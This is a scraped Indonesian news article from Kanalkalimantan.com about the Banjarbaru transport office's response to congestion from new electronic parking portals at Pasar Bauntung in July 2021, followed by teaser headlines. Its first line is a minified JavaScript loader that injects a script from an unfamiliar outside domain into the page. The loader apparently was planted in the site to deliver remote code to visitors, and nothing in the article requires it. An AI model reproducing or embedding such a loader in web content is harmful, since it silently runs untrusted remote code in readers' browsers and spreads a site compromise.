(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kemacetan yang terjadi di pintu keluar parkir Pasar Bauntung Banjarbaru imbas penerapan parkir elektronik yang diprotes pedagang dan pengunjung pasar, Kamis (8/7/2021), direspons Pemko Banjarbaru.
Sekretaris Daerah Kota Banjarbaru Said Abdullah bersama Kepala Dinas Perhubungan (Dishub) Kota Banjarbaru, Ahmad Yani Makkie melakukan pemantauan langsung di lapangan, beberapa saat setelah peristiwa itu.
“Hari pertama diberlakukan uji portal parkir maka tak heran pasti akan ada plus dan minusnya, karena ini masih baru pertama,” jelas Yani Makkie, kepada Kanalkalimantan.com, Kamis siang.
Baca juga: Pedagang Protes! Sistem Parkir Elektronik Bikin Macet di Pasar Bauntung Banjarbaru
Permasalahan teknis sederhana seperti transaksi yang memakan waktu lebih lama diduga salah satunya. Yani Makkie juga mengatakan akan terus mengevaluasi lagi efektivitas penggunaan portal.
Ia mengatakan, sudah bertemu dengan perwakilan beberapa pedagang untuk memberikan solusi yang sama diharapkan pedagang.
Selanjutnya untuk menghindari kejadian serupa, pihaknya bersama pengelola pasar juga sepakat jika portal akan dibuka pada jam sibuk. Namun tetap ada pembayaran parkir.
Baca juga: Vaksinasi Dosis Kedua Peyandang Disabilitas dan Lansia di Banjarbaru
“Portal di pintu masuk juga akan kita geser ke dalam dan pengelola bersedia menambah satu portal di pintu masuk dan keluar,” terangnya.
Namun demikian, lanjut Yani Makkie, tentunya proses pengadaan portal baru perlu waktu. Sehingga solusi buka portal di jam sibuk akan diterapkan lebih dulu.
“Sudah ketemu dengan perwakilan beberapa pedagang tadi, untuk memberikan solusi, dan solusi yang kami tawarkan sama dengan keinginan mereka, bila di jam-jam sibuk portal pintu keluar akan kita buka untuka mengurai kemacetan,” ujar Kadishub kepada Kanalkalimantan.com.
Portal di pintu masuk juga akan digeser lebih ke dalam dan pengelola bersedia menambah 1 portal di pintu masuk dan keluar.
Jadi jumlahnya ke depan ada 6 portal, pintu masuk 3 pintu keluar 3, ini tentunya perlu proses, sambil menunggu alatnya dalam proses pembelian.
“Kita gunakan opsi pembukaan portal di pintu keluar untuk mengurai kemacetan seperti pagi tadi. Insyaallah semua ada solusi terbaik dan tidak akan merugikan pedagang, intinya kami siap setiap saat mengevaluasinya,” pungkasnya. (kanalkalimantan.com/dewi)
Reporter: dewi
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.